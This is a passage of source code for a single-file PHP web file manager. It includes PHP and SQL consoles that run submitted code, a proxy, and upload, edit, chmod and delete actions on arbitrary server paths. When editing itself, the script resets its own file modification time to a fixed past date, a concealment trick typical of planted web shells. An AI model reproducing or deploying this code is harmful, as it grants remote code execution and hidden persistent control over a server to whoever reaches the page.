#F3FCFC; }tr.row2:hover { background-color: #F0F6F6; }.whole { width: 100%; }.all tbody td:first-child{width:100%;}textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; }.textarea_input { height: 1em; }.textarea_input:focus { height: auto; }input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; }.folder { background-image: url("data:image/png;base64,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"); }.file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path;?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); $phar = new PharData($destination); 